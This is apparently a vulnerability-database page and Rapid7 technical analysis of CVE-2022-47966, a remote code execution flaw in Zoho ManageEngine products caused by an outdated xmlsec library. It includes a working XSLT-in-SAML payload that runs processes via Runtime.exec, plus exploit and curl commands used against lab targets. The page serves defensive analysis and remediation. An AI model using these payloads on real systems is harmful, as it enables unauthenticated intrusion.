Attacker Value
Very High
(2 users assessed)
Exploitability
Moderate
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2022-47966

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.

Add Assessment

4
Ratings
Technical Analysis

This is a sorta complicated collection of vulnerabilities. In the Rapid7 analysis, we focused on the two most popular pieces of software, which run an ancient version of Santuario 1.4.1 (in part because the public PoCs target that version). Santuario 1.4.1 has absolutely trivial RCE issues.

But, according to the disclosure blog, other versions have more recent versions of Santuario, but run a version of Xalan that’s vulnerable to a whole other issue – CVE-2014-0107. Dinh found a novel way to exploit CVE-2014-0107, which is super cool, but it was overshadowed by the much simpler vuln in Santuario. I wish they’d named the specific software that CVE-2014-0107 worked against – that’d be a neat one to test, but I don’t think their blog is specific.

The saving grace here is that none of these projects are vulnerable unless SAML is enabled (although in some cases, they’re vulnerable forever if SAML is enabled once).

1
Ratings
Technical Analysis

Tagging this as both “easy to weaponize” and “difficult to weaponize” since it depends on the product the attacker is targeting. ServiceDesk Plus is trivial to exploit using public PoC (see @rbowes-r7’s assessment), but other vectors like ADSelfService Plus seem to require some type of info leak to supply the attacker with unique environment values needed to allow the exploit code to execute successfully, as @sfewer-r7 has demonstrated in our lab. So exploitability for (at least) ServiceDesk Plus is very high, but so far exploitability for (so far) ADSelfService Plus is relatively low. If someone finds an automagical way to obtain the GUID and issuer URL for ADSSP, that’d change the risk calculus some.

Rapid7 is seeing ongoing exploitation of this vulnerability in ServiceDesk Plus, and our honeypots are also seeing activity. The Rapid7 analysis tab has a ton of detailed technical info.

General Information

Additional Info

Technical Analysis

Description

CVE-2022-47966 is an unauthenticated remote code execution vulnerability that affects two dozen Zoho ManageEngine products, including ADSelfService Plus, ServiceDesk Plus, and Password Manager Pro, all of which have been exploited in the wild over the past year. The vulnerability arises from an outdated dependency on Apache Santuario, which is itself vulnerable to remote code execution going back to 2008. Successful exploitation of vulnerable ManageEngine products requires the target system to have SAML-based SSO. Some implementations are only vulnerable if SAML-based SSO is currently active, and others merely require it to have been enabled at some point in the past. See Zoho’s advisory for complete details on vulnerable products.

Rapid7’s incident response team has confirmed multiple instances of exploitation in the wild in customer environments as of Thursday, January 19, 2023. Rapid7 observed exploitation as early as Tuesday, January 17, 2023. Security firm Horizon3 published technical details, including a proof of concept (PoC), on Thursday, January 19.

Important note: This analysis will demonstrate that while the product the public PoC targets (ServiceDesk Plus) seems to be exploitable without any special modifications, the other product we tested (ADSelfService Plus) requires an attacker to obtain and modify the PoC with two additional pieces of data (a unique GUID value and an Issuer URL) for successful exploitation. In other words, for at least one product (and possibly others), the exploit needs to be customized not only to the product, but to the individual target.

Affected products

Zoho released patches for affected products in October and November of 2022; the exact timing of fixed version releases varies by product. Releasing patches 2-3 months before releasing the advisory is unusual, and potentially gave adversaries a wide window while nobody was aware of the critical nature of these patches. See ManageEngine’s advisory for specific product and version information.

The full list of affected ManageEngine products are:

  • Access Manager Plus version 4307 and below*
  • Active Directory 360 version 4309 and below**
  • ADAudit Plus version 7080 and below**
  • ADManager Plus version 7161 and below**
  • ADSelfService Plus version 6210 and below**
  • Analytics Plus version 5140 and below*
  • Application Control Plus version 10.1.2220.17 and below*
  • Asset Explorer version 6982 and below**
  • Browser Security Plus version 11.1.2238.5 and below*
  • Device Control Plus version 10.1.2220.17 and below*
  • Endpoint Central version 10.1.2228.10 and below*
  • Endpoint Central MSP version 10.1.2228.10 and below*
  • Endpoint DLP version 10.1.2137.5 and below*
  • Key Manager Plus version 6400 and below*
  • OS Deployer version 1.1.2243.0 and below*
  • PAM 360 version 5712 and below*
  • Password Manager Pro version 12123 and below*
  • Patch Manager Plus version 10.1.2220.17 and below*
  • Remote Access Plus version 10.1.2228.10 and below*
  • Remote Monitoring and Management (RMM) version 10.1.40 and below*
  • ServiceDesk Plus version 14003 and below**
  • ServiceDesk Plus MSP version 13000 and below**
  • SupportCenter Plus version 11017 to 11025**
  • Vulnerability Manager Plus version 10.1.2220.17 and below*

* Vulnerable if configured SAML-based SSO and it is currently active.
** Vulnerable if configured SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

Background

On October 25, 2022, Khoa Dinh from Viettel Cyber Security reported a number of security vulnerabilities in Zoho’s ManageEngine products related to the usage of outdated libraries (specifically, Apache Santuario or xmlsec). Zoho began rolling out patches to their products to include the updated libraries a few days later, but didn’t post a public advisory until a few months later in January, 2023.

Dinh’s work, in turn, was based on earlier work from An Trinh of tint0, who wrote about some issues in Santuario in September of 2021. Trinh wrote about Santuario vulnerabilities in the context of an XML external entity injection (XXE) vulnerability in PingFederate (CVE-2021-41770).

Several different known vulnerabilities in Santuario are at play here:

  • CVE-2021-40690: A vulnerability in the way Santuario parses XML that can bypass the secureValidation setting (Santuario versions before 2.2.3 and 2.1.7)
  • CVE-2014-0107: A vulnerability in the Xalan XSLT parser that permits an attacker to instantiate an arbitrary class (Xalan versions prior to 2.7.2, which are still quite common)
  • Bugzilla 44629: A vulnerability from 2008 where transformations were performed before signature validation (Santuario versions prior to 1.4.2)

Different versions of ManageEngine products use different versions of Santuario and/or Xalan, but the two that we tested (ADSelfService Plus 6122 and ServiceDesk Plus 14003) both used Santuario 1.4.1, so we will focus on that for the remainder of our analysis. The research from Dinh is much deeper than this one version of Santuario and is a great read!

Technical analysis

Santuario 1.4.1

Apache Santuario (also known as xmlsec) version 1.4.1, performs XSLT transformations prior to validating a message’s signature, which can lead the execution of arbitrary Java code. This was fixed in 2008, but Zoho’s software was still using a vulnerable dependency.

In the code below, we can see how the signature verification [2] is performed after the signature (SignedInfo) is verified [1]. That means that a malicious XMLSignature can have a SignedInfo field that contains XSLT transformations that execute arbitrary Java code when applied. Because the Signature verification occurs after this has happened, failing the signature check doesn’t prevent the transformations from happening.

// xmlsec-1.4.1.jar!\org\apache\xml\security\signature\XMLSignature.class
  public boolean checkSignatureValue(Key paramKey) throws XMLSignatureException {
    if (paramKey == null) {
      Object[] arrayOfObject = { "Didn't get a key" };
      throw new XMLSignatureException("empty", arrayOfObject);
    } 
    try {
      SignedInfo signedInfo = getSignedInfo();
      if (!signedInfo.verify(this._followManifestsDuringValidation)) // <-----  [1]
        return false; 
      SignatureAlgorithm signatureAlgorithm = signedInfo.getSignatureAlgorithm();
      if (log.isDebugEnabled()) {
        log.debug("SignatureMethodURI = " + signatureAlgorithm.getAlgorithmURI());
        log.debug("jceSigAlgorithm    = " + signatureAlgorithm.getJCEAlgorithmString());
        log.debug("jceSigProvider     = " + signatureAlgorithm.getJCEProviderName());
        log.debug("PublicKey = " + paramKey);
      } 
      signatureAlgorithm.initVerify(paramKey);
      SignerOutputStream signerOutputStream = new SignerOutputStream(signatureAlgorithm);
      UnsyncBufferedOutputStream unsyncBufferedOutputStream = new UnsyncBufferedOutputStream((OutputStream)signerOutputStream);
      signedInfo.signInOctectStream((OutputStream)unsyncBufferedOutputStream);
      try {
        unsyncBufferedOutputStream.close();
      } catch (IOException iOException) {}
      byte[] arrayOfByte = getSignatureValue();
      return signatureAlgorithm.verify(arrayOfByte); // <-----  [2]
    } catch (XMLSecurityException xMLSecurityException) {
      throw new XMLSignatureException("empty", xMLSecurityException);
    } 
  }

As seen in the public PoC, a malicious signature can be constructed that, via XSLT transformations, will construct an arbitrary java.lang.Runtime object instance and call the exec method to execute an attacker-supplied command. An attacker is not limited to executing arbitrary commands, and may construct a more complex Java-based payload (including a fully in-memory reverse shell).

    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
              <xsl:stylesheet version="1.0"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                <xsl:template match="/">
                  <xsl:variable name="rtobject" select="rt:getRuntime()"/>
                  <xsl:variable name="process" select="rt:exec($rtobject,'calc.exe')"/>
                  <xsl:variable name="processString" select="ob:toString($process)"/>
                  <xsl:value-of select="$processString"/>
                </xsl:template>
              </xsl:stylesheet>
            </ds:Transform>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue>
      <ds:KeyInfo/>
    </ds:Signature>

Exploiting ADSelfService Plus

Exploiting CVE-2022-47966 against a vulnerable instance of ManageEngine ADSelfService Plus can be achieved with a small modification to the publicly available PoC. This modification includes the addition of a HTTP request parameter RelayState. There are two additional requirements an attacker must satisfy before being able to exploit the target:

  • The attacker must know in advance a unique GUID value that has been created for the target server’s SAML Service Provider
  • The attacker must know in advance a custom Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server

It’s not immediately clear whether an attacker can discover these two values easily; we used the admin interface to obtain them.

The remainder of this walkthrough targets ADSelfService Plus build 6122 running on Windows Server 2022. ADSelfService Plus ships version 1.4.1 of [Apache Santuario](https://santuario.apache.org/download.html] in the library file xmlsec-1.4.1.jar, which, as discussed above, is vulnerable to a remote code execution issue from 2008.

Is the target vulnerable?

We can query a target’s version number through an unauthenticated REST API via the command:

curl -i -v -k https://172.30.132.194:9251/servlet/GetProductVersion -X POST

The response will be a JSON object that provides the target’s product name and build number, as shown below:

{"DB_TYPE":"postgres","BUILD_NUMBER":"6122","BUILD_ARCHITECTURE":"64","RUNNING_AS_SERVICE":false,"HA_SUPPORTED":"true","PRODUCT_SEQ_NO":"ADSSP-4-4A5RH563-1223578957895","PRODUCT_NAME":"ManageEngine ADSelfService Plus","IS_BUNDLED_DB":"true","INSTALLED_AS_SERVICE":false,"PRODUCT_VERSION":"6.1","SERVICE_ACCOUNT_PRIVILEGED":true}

As per the ManageEngine advisory, any version prior to 6210 is vulnerable.

Running the exploit

We can run the exploit against a target in our lab as follows:

python CVE-2022-47966.py --command calc.exe --url https://172.30.132.194:9251/samlLogin/3899e6a9ab0f2b437448258c4c14eafdd8760add --issuer https://ad.test-domain/saml/3899e6a9ab0f2b437448258c4c14eafdd8760add --relaystate https://172.30.132.194:9251/samlLogin/LoginAuth

As shown above the attacker must supply the unique GUID as part of the requested URL to the /samlLogin endpoint, as well as supplying a custom Issuer URL.

Stepping through the code

If we attach a debugger to the ADSelfService Plus service, we can step through exploitation to better understand what happens.

The HTTP POST request to the /samlLogin/ endpoint will call doPost in the SAMLIDPAuthServlet class:

// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthServlet.class
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String authFlow = null;
        String urlConfigId = null;
        String relayState = null;
        String uri = null;
        String contextPath = null;
        String reqMethod = null;
        String samlResponse = null;
        String errorPageUrl = null;
        String userName = null;
        String samlParamName = null;
        Boolean isValidUrl = false;

        JSONObject samlConfigParams;
        SAMLInterface samlAuthClass;
        try {
            errorPageUrl = SAMLIDPAuthHandler.getAuthParamValue("AUTH_ERROR_URL");
            uri = request.getRequestURI();
            contextPath = request.getContextPath().toString();
            samlParamName = uri.contains(SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL")) ? "AUTH_LOGIN_URL" : "AUTH_LOGOUT_URL";
            urlConfigId = uri.replaceAll(contextPath + SAMLIDPAuthHandler.getAuthParamValue(samlParamName) + "/", "");
            request.setAttribute("URL_CONFIG_ID", urlConfigId);
            if (!SAMLIDPAuthHandler.isValidUrlConfigId(urlConfigId)) {
                this.context.getRequestDispatcher(errorPageUrl).forward(request, response);
            } else {
                relayState = request.getParameter("RelayState") != null ? request.getParameter("RelayState") : "";
                if (!"".equals(relayState)) {
                    relayState = SSOSAMLHandler.decode(relayState);
                }

                String authRuleName;
                if (uri.contains("samlLogin")) {
                    authFlow = SAMLIDPAuthHandler.getAuthFlow(request, urlConfigId); // <----- [1]
                    reqMethod = request.getMethod();
                    samlResponse = request.getParameter("SAMLResponse");
                    logger.log(Level.INFO, "uri :: " + uri + "\tMethod :: " + reqMethod + "\t Authentication Flow :: " + authFlow + "\t URL ID :: " + urlConfigId);
                    if ("POST".equalsIgnoreCase(reqMethod) && samlResponse != null && !"".equals(samlResponse) && authFlow != null && !"".equals(authFlow) && urlConfigId != null && !"".equals(urlConfigId)) { // <----- [2]
                        request.setAttribute("AUTH_FLOW", authFlow);
                        request.getSession().setAttribute("SAML_RELAY_STATE", relayState);
                        JSONObject userDetails = SAMLIDPAuthHandler.validateSAMLResponse(request); // <----- [3]

We can see from [1] above that the authFlow value is retrieved based on the request. This value is checked to be non-null in [2] before we can continue. The authFlow is determined by the provided RelayState parameter from the HTTP request and is configured to be mandatory (ie, the request must supply this parameter in order to continue). We then continue on to perform validateSAMLResponse [3].

// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthHandler.class	
    public static JSONObject validateSAMLResponse(HttpServletRequest request) throws Exception {
        Response samlResponse = null;
        Assertion assertion = null;
        Subject samlSubject = null;
        Status status = null;
        StatusCode statusCode = null;
        JSONObject userDetails = null;
        String samlNameID = null;
        String samlNameIDFormat = null;

        try {
            DefaultBootstrap.bootstrap();
            samlResponse = (Response)getXMLObject(request.getParameter("SAMLResponse")); // <----- [1]

            String issuerUrl;
            try {
                (new ResponseSchemaValidator()).validate(samlResponse);
                status = samlResponse.getStatus();
                (new StatusSchemaValidator()).validate(status);
                statusCode = status.getStatusCode();
                issuerUrl = statusCode.getValue();
                if (!"urn:oasis:names:tc:SAML:2.0:status:Success".equals(issuerUrl)) {
                    throw new Exception("ads.login.common.error.saml_response_status_not_success");
                }

                if (samlResponse.getAssertions().size() > 0) {
                    assertion = (Assertion)samlResponse.getAssertions().get(0); // <----- [2]
                }

                (new AssertionSchemaValidator()).validate(assertion);
            } catch (ValidationException var46) {
                LOGGER.log(Level.INFO, "EXCEPTION :: " + var46.getMessage());
                throw new Exception("ads.login.common.error.invalid_saml_response_or_assertion");
            }					
            issuerUrl = assertion.getIssuer().getValue(); // <----- [3]
            String var10000 = (String)request.getSession().getAttribute(issuerUrl);
            String inResponseTo = samlResponse.getInResponseTo();
            String urlConfigId = (String)request.getAttribute("URL_CONFIG_ID");
            String authFlow = (String)request.getAttribute("AUTH_FLOW");
            String relayState = request.getParameter("RelayState") != null ? request.getParameter("RelayState") : "";
            if (!"".equals(relayState)) {
                relayState = SSOSAMLHandler.decode(relayState);
            }

            if (!isValidIssuerUrl(issuerUrl, urlConfigId)) { // <----- [4]
                throw new Exception("ads.login.common.error.invalid_issuer_url_found");
            }

            if (authFlow.equals("FACTOR_AUTHENTICATION")) {
                if (inResponseTo == null) {
                    throw new Exception("ads.login.common.error.idp_initiated_saml");
                }

                if (!isInResponseToValid(inResponseTo)) {
                    throw new Exception("ads.login.common.error.invalid_saml_invalid_inresponseto");
                }
            }
			
            String samlFlow = "IDP_INITIATED_SAML_SSO";
            if (authFlow.equals("SAML_LOGIN") && inResponseTo != null) {
                samlFlow = "SP_INITIATED_SAML_SSO";
            }

            request.getSession().setAttribute("SAML_FLOW", samlFlow);
            request.setAttribute("REQUEST_ID", inResponseTo);
            JSONObject samlConfigDetails = getSAMLConfigDetails(urlConfigId);
            String authMode = "SAML_LOGIN".equals(authFlow) ? "LOGIN_AUTH" : relayState.substring(relayState.lastIndexOf("/") + 1, relayState.length());
            long reqAuthBit = getAuthModeBitVsName(authMode);
            long assignedAuthBit = samlConfigDetails.getLong("AUTH_MODE_BIT");
            boolean isSAMLResponseSigned = false;
            boolean isSAMLAssertionSigned = false;
            if ((reqAuthBit & assignedAuthBit) != reqAuthBit) {
                throw new Exception("ads.login.common.error.invalid_saml_config_id_found");
            }
			
            if (samlConfigDetails.length() > 0) {
                try {
                    if (samlResponse.isSigned()) {
                        validateSignature(samlResponse, samlConfigDetails);
                        isSAMLResponseSigned = true;
                    }

                    if (assertion.isSigned()) {
                        validateSignature(assertion, samlConfigDetails); // <------ [5]
                        isSAMLAssertionSigned = true;
                    }

We can see above [1] that the base64-encoded SAMLResponse parameter is retrieved from the HTTP request and the Assertions element from the SAMLResponse is retrieved [2]. The Issuer URL value is retrieved from the Assertion element [3] before being verified as the expected Issuer for the SAML response [4], as identified by the unique GUID supplied to the /samlLogin/ endpoint. If the Issuer is not the expected value, an exception will be raised and the request will not be processed further. The signed Assertion element from the request can now be validated [5].

// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthHandler.class			
    public static void validateSignature(SignableXMLObject samlObject, JSONObject samlConfigDetails) throws SecurityException {
        KeySpec publicKeySpec = null;
        BasicX509Credential credential = new BasicX509Credential();

        try {
            String pubKey = samlConfigDetails.optString("PUBLIC_KEY", (String)null);
            if (!pubKey.contains("-----BEGIN CERTIFICATE-----")) {
                pubKey = "-----BEGIN CERTIFICATE-----\n" + pubKey + "-----END CERTIFICATE-----";
            } else {
                pubKey = pubKey.replaceAll("-----BEGIN CERTIFICATE-----", "-----BEGIN CERTIFICATE-----\n");
            }

            byte[] certByte = pubKey.getBytes();
            CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509");
            InputStream certInputStream = new ByteArrayInputStream(certByte);
            Certificate certificate = certificateFactory.generateCertificate(certInputStream);
            publicKeySpec = new X509EncodedKeySpec(certificate.getPublicKey().getEncoded());
            KeyFactory keyFactory = KeyFactory.getInstance("RSA");
            PublicKey publicKey = keyFactory.generatePublic(publicKeySpec);
            credential.setPublicKey(publicKey);
            SignatureValidator signatureValidator = new SignatureValidator(credential);
            signatureValidator.validate(samlObject.getSignature());	// <------ [1]		
			
			// ...snip...
			
// xmltooling-1.3.1.jar!\org\opensaml\xml\signature\SignatureValidator.class
    public void validate(Signature signature) throws ValidationException {
        this.log.debug("Attempting to validate signature using key from supplied credential");
        XMLSignature xmlSig = this.buildSignature(signature);
        Key validationKey = SecurityHelper.extractVerificationKey(this.validationCredential);
        if (validationKey == null) {
            this.log.debug("Supplied credential contained no key suitable for signature validation");
            throw new ValidationException("No key available to validate signature");
        } else {
            this.log.debug("Validating signature with signature algorithm URI: {}", signature.getSignatureAlgorithm());
            this.log.debug("Validation credential key algorithm '{}', key instance class '{}'", validationKey.getAlgorithm(), validationKey.getClass().getName());

            try {
                if (xmlSig.checkSignatureValue(validationKey)) { // <----- [2]

Validation of the Signature element (from the HTTP requests SAMLResponse parameter) occurs in the OpenSAML SignatureValidator class [1] which will proceed to call checkSignatureValue from the vulnerable xmlsec-1.4.1.jar library [2]. This signature check will ultimately fail; however, arbitrary code execution will have been achieved when the signature is processed by the vulnerable xmlsec library.

Exploiting ServiceDesk Plus

Unlike ADSelfService Plus, ServiceDesk Plus is exploitable using the public proof of concept with no special steps, provided SAML authentication is (or has ever been) enabled. (To enable SAML, the setting is under Admin / Users & Permissions / SAML Single Sign On; we recommend using Mock SAML as a back end).

To demonstrate the exploit, we stripped down the XML payload to the minimum that executes a process (we moved the important XSLT to the left margin to stand out better):

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf" InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff" IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
  <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600" IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
    <Issuer>{issuer}</Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
  <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'notepad.exe')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
  </xsl:template>
</xsl:stylesheet>

          </ds:Transform>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:KeyInfo/>
    </ds:Signature>
  </Assertion>
</samlp:Response>

We can send this using curl:

[ron@fedora ~]$ curl -i 'http://10.0.0.216:8080/SamlResponseServlet' --data-urlencode "SAMLResponse="$(base64 -w0 < ~/shared/tmp/demo.xml)
[...]
HTTP/1.1 500
Location: /
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Fri, 20 Jan 2023 22:07:48 GMT
Connection: close
Server: -
[...]

Then we can verify that notepad.exe is indeed running on the target (as the privileged System user, to boot)!

Guidance

The vulnerability should be remediated immediately, without waiting for a typical patch cycle. Any organization with a vulnerable ManageEngine service exposed to the public internet should examine their systems for signs of compromise in addition to remediating the vulnerability.

References